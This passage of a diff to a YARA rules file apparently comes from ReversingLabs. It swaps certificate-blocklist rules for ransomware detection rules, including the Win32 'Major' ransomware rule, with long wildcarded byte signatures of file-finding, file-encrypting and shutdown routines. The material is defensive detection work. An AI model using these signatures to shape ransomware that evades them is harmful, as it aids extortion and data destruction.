83 F8 ?? 0F 84 ?? ?? + ?? ?? 8B 1D ?? ?? ?? ?? 8B 75 ?? 8B 46 ?? 85 C0 74 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 85 + C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 44 24 ?? 66 8B 10 + 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 + D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 44 24 + ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 + C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 44 24 ?? + 50 FF 75 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? F6 44 + 24 ?? ?? 74 ?? F7 44 24 ?? ?? ?? ?? ?? 75 ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? + FF D3 85 C0 75 ?? 8B 45 ?? 56 48 50 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? EB ?? 8D + 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8D 4C 24 ?? 8D 51 ?? 66 8B 31 83 C1 ?? 66 85 F6 75 ?? + 2B CA D1 F9 8D 4C 4C ?? 3B C1 74 ?? 50 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 + ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF D3 85 C0 74 ?? FF 75 + ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? + ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5E 5B 8B E5 5D C2 + } + $shutdown = { + 68 ?? ?? ?? ?? 8B CA 8B D0 0F B7 45 ?? 03 C2 33 D2 F7 F6 0F B7 75 ?? 8D 85 ?? ?? ?? + ?? 50 03 F1 8B FA FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? F6 05 ?? ?? ?? + ?? ?? B8 ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? 56 57 8D 8D ?? ?? ?? ?? 51 50 8D 85 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? EB ?? 8D 85 ?? ?? ?? ?? 50 56 57 + 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 85 ?? ?? + ?? ?? 50 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 5F 5E 8B C3 5B C9 C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Karim Lammali" and pe.signatures [ i ] . serial == "06:47:7e:34:25:f1:44:89:95:ce:d5:39:78:9e:68:42" and 1334275199 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $encrypt_file and $main and $encryption_loop and $shutdown } - -rule REVERSINGLABS_Cert_Blocklist_0450A7C1C36951Da09C8Ad0E7F716Ff2 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Major : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Major ransomware." author = "ReversingLabs" - id = "b4a56bbe-f2ba-52df-832d-35b92ab73683" - date = "2020-08-05" - modified = "2023-11-08" + id = "0c85aff8-1fb5-5e47-ae49-72445a000eaa" + date = "2021-01-26" + modified = "2021-01-26" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L549-L565" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Major.yara#L1-L261" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "cb594607ceef1b8d79145ad3905fb2c38d2ed3f3e6c8a0a793fc2dc9d0a21855" + logic_hash = "16fb7763e3806fca6937fef7e8b3d8bccd61cb39549061d359d630c7d266c270" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Major" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PS Partnership" and pe.signatures [ i ] . serial == "04:50:a7:c1:c3:69:51:da:09:c8:ad:0e:7f:71:6f:f2" and 1362182399 <= pe.signatures [ i ] . not_after ) -} + strings: + $find_files_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 33 C0 89 4D ?? 57 50 66 89 45 ?? 8D 8D ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 57 C0 C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? ?? + ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F 13 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 + ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? + ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 + 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 4D ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? + ?? ?? 33 C9 8B F8 51 89 4D ?? 51 8D 4D ?? 89 7D ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 4D ?? + 8D 45 ?? 50 FF 77 ?? 57 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 47 ?? 89 4D ?? BB ?? ?? ?? + ?? 8B 48 ?? 89 01 8B 07 8D 4D ?? 83 C0 ?? 3B C8 74 ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 8D 45 ?? 3B C6 + } + $find_files_p2 = { + 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? + ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? + ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? + ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? 83 7E ?? + ?? 73 ?? 8B 46 ?? 83 C0 ?? 74 ?? 03 C0 50 8D 45 ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? EB + ?? 8B 06 89 45 ?? C7 06 ?? ?? ?? ?? 8B 46 ?? 89 45 ?? 8B 46 ?? 89 45 ?? C7 46 ?? ?? + ?? ?? ?? 83 7E ?? ?? C7 46 ?? ?? ?? ?? ?? 72 ?? 8B 36 33 C0 66 89 06 8B 45 ?? 83 F8 + ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6 + C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? + ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 3F 8D 77 ?? 8B + 4F ?? 8B 07 89 01 8B 0F 8B 47 ?? 89 41 ?? 8B 45 ?? 48 89 45 ?? 89 45 ?? 8B 46 ?? 83 + F8 ?? 72 ?? 8B 0E 40 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6 + } + $find_files_p3 = { + C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? + ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 46 ?? ?? ?? ?? + ?? 83 7E ?? ?? C7 46 ?? ?? ?? ?? ?? 72 ?? 8B 36 33 C0 57 66 89 06 E8 ?? ?? ?? ?? 83 + C4 ?? 8D 8D ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? 8B + F8 89 7D ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 66 66 66 0F 1F 84 00 ?? ?? ?? ?? 33 C0 C7 45 + ?? ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? 0F 84 ?? ?? ?? + ?? 8B 85 ?? ?? ?? ?? 8B 08 85 C9 74 ?? 8B 85 ?? ?? ?? ?? 8B 00 8D 14 41 EB ?? 8B 85 + ?? ?? ?? ?? 8B 08 8B 85 ?? ?? ?? ?? 8B 00 8D 14 48 8B 85 ?? ?? ?? ?? 8B 08 2B D1 D1 + FA 81 FA ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 8D 04 12 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 + ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 + ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? C7 00 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 00 + ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? 50 89 85 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 + ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6 C1 + } + $find_files_p4 = { + 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? + 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 68 + ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? + ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? + ?? 8B D4 33 C0 C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? 66 89 02 66 39 85 ?? ?? ?? + ?? 75 ?? 33 C9 EB ?? 8D 8D ?? ?? ?? ?? 8D 71 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B + CE D1 F9 51 8D 85 ?? ?? ?? ?? 8B CA 50 E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 85 C0 + 0F 84 ?? ?? ?? ?? 6A ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? + ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 83 CB ?? C7 45 ?? + ?? ?? ?? ?? 66 89 45 ?? 66 39 85 ?? ?? ?? ?? 75 ?? 33 C9 EB ?? 8D 8D ?? ?? ?? ?? 8D + 51 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 51 8D 85 ?? ?? ?? ?? 50 8D 4D ?? + E8 ?? ?? ?? ?? 8D 45 ?? 83 CB ?? 50 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 + 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 + } + $find_files_p5 = { + 83 CB ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 CB ?? 50 8D 85 ?? + ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 CB ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 83 CB ?? 50 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 85 C0 74 ?? + C6 45 ?? ?? F6 C3 ?? 74 ?? 8B 45 ?? 83 E3 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? + E8 ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? F6 C3 ?? + 74 ?? 8B 85 ?? ?? ?? ?? 83 E3 ?? 83 F8 ?? 72 ?? 40 8D 8D ?? ?? ?? ?? 50 FF B5 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? 66 89 85 ?? ?? ?? ?? F6 C3 ?? 74 ?? 8B 85 ?? ?? ?? ?? 83 E3 ?? 83 F8 ?? 72 ?? 40 + 8D 8D ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? F6 C3 ?? 74 ?? 8B 85 ?? ?? + ?? ?? 83 E3 ?? 83 F8 ?? 72 ?? 40 8D 8D ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? + ?? ?? 8B 45 ?? 83 E3 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 33 C0 + } + $find_files_p6 = { + C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? 83 E3 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? 83 F8 ?? 72 + ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 80 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 + 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 75 ?? 8D 45 ?? 50 8D 4D ?? FF 76 ?? 56 E8 ?? ?? + ?? ?? 8B 55 ?? B9 ?? ?? ?? ?? 2B CA 83 F9 ?? 0F 82 ?? ?? ?? ?? 89 46 ?? 42 8B 48 ?? + 89 55 ?? 89 01 E9 ?? ?? ?? ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 75 ?? + 8D 45 ?? 50 8D 4D ?? FF 76 ?? 56 E8 ?? ?? ?? ?? 8B 55 ?? B9 ?? ?? ?? ?? 2B CA 83 F9 + ?? 0F 82 ?? ?? ?? ?? 89 46 ?? 42 8B 48 ?? 89 55 ?? 89 55 ?? 89 01 8B 45 ?? 83 F8 ?? + 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 8D ?? ?? ?? ?? 54 E8 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ?? ?? ?? ?? 8B 75 + ?? 8B CE E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D + 45 ?? 8B CE 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 7D ?? + 8B CF E8 ?? ?? ?? ?? 8B 4D ?? 85 C9 74 ?? 8B 7D ?? E9 ?? ?? ?? ?? 8B 4D ?? 85 C9 0F + 84 ?? ?? ?? ?? 0F 1F 00 8B 45 ?? 8D 4D ?? 8B 00 83 C0 ?? 3B C8 74 ?? 6A ?? 6A ?? 50 + E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 + } + $find_files_p7 = { + 8D 45 ?? 3B C6 74 ?? 8B 4D ?? 83 F9 ?? 72 ?? 41 51 FF 75 ?? 8B C8 E8 ?? ?? ?? ?? 33 + C0 C7 45 ?? ?? ?? ?? ?? 56 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? + 8B 45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? + ?? 83 7D ?? ?? 8D 8D ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? 8B 75 + ?? 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 0F 1F 00 33 C0 C7 45 ?? ?? ?? ?? ?? 8D 8D ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 45 ?? + 6A ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF + 75 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 8D 85 ?? ?? ?? ?? 83 EC ?? F6 85 ?? ?? ?? ?? ?? 8B CC 50 0F 84 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B CF E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8B 5D ?? 8D 45 ?? 50 8D 4D ?? FF 73 ?? 53 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? + 2B CE 83 F9 ?? 0F 82 ?? ?? ?? ?? 89 43 ?? 46 8B 48 ?? 89 75 ?? 89 01 8B 45 ?? 83 F8 + ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 8D ?? ?? ?? ?? 54 E8 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 85 C0 74 + ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B CF 50 E8 ?? ?? ?? ?? 8B + 45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF + 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 85 F6 0F 85 ?? + ?? ?? ?? FF 75 ?? FF 15 + } + $encrypt_files_p1 = { + FF 15 ?? ?? ?? ?? 85 C0 75 ?? 50 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? + 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D + 45 ?? 83 7D ?? ?? 0F 43 45 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 C0 C7 45 ?? ?? + ?? ?? ?? 6A ?? 50 66 89 45 ?? 8D 4D ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 6A ?? 0F + 43 45 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 89 45 ?? FF 15 ?? ?? ?? + ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? + ?? ?? ?? 8B 4D ?? 01 0D ?? ?? ?? ?? 8B 55 ?? 11 15 ?? ?? ?? ?? 83 FA ?? 0F 8C ?? ?? + ?? ?? 7F ?? 85 C9 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? 66 66 0F 1F 84 00 + ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? + ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 + FF 74 ?? 8B 55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? + ?? ?? 8B 55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? C7 45 ?? ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 8B 4D ?? 83 C4 ?? 6A + } + $encrypt_files_p2 = { + 50 E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 53 FF 15 ?? ?? ?? ?? + 8B 55 ?? 8B 4D ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 8D 85 + ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 6A ?? 6A ?? 50 53 FF 15 ?? + ?? ?? ?? 8B 55 ?? 8D 45 ?? 8B 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 50 56 53 FF 15 ?? ?? ?? ?? 83 6D ?? ?? 0F 85 ?? ?? ?? ?? 57 E8 ?? ?? + ?? ?? 56 E9 ?? ?? ?? ?? 8B F1 8B C2 81 C6 ?? ?? ?? ?? 83 D0 ?? 83 F8 ?? 0F 87 ?? ?? + ?? ?? 72 ?? 81 FE ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F + 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? 66 90 + 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 + 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 8B + 55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 55 + ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 + } + $encrypt_files_p3 = { + E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? C7 45 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 8B 4D ?? 83 C4 ?? 6A ?? 50 E8 ?? ?? + ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 53 FF 15 ?? ?? ?? ?? 8B 55 ?? 8B + 4D ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 8D 85 ?? ?? ?? ?? + 57 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 6A ?? 6A ?? 50 53 FF 15 ?? ?? ?? ?? 8B + 55 ?? 8D 45 ?? 8B 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 50 56 53 FF 15 ?? ?? ?? ?? 83 6D ?? ?? 0F 85 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 56 E9 + ?? ?? ?? ?? 8B F1 8B C2 81 C6 ?? ?? ?? ?? 83 D0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 72 ?? + 81 FE ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? 66 90 68 ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 8B 55 ?? 8B 4D + ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? + 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F2 0F 59 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? 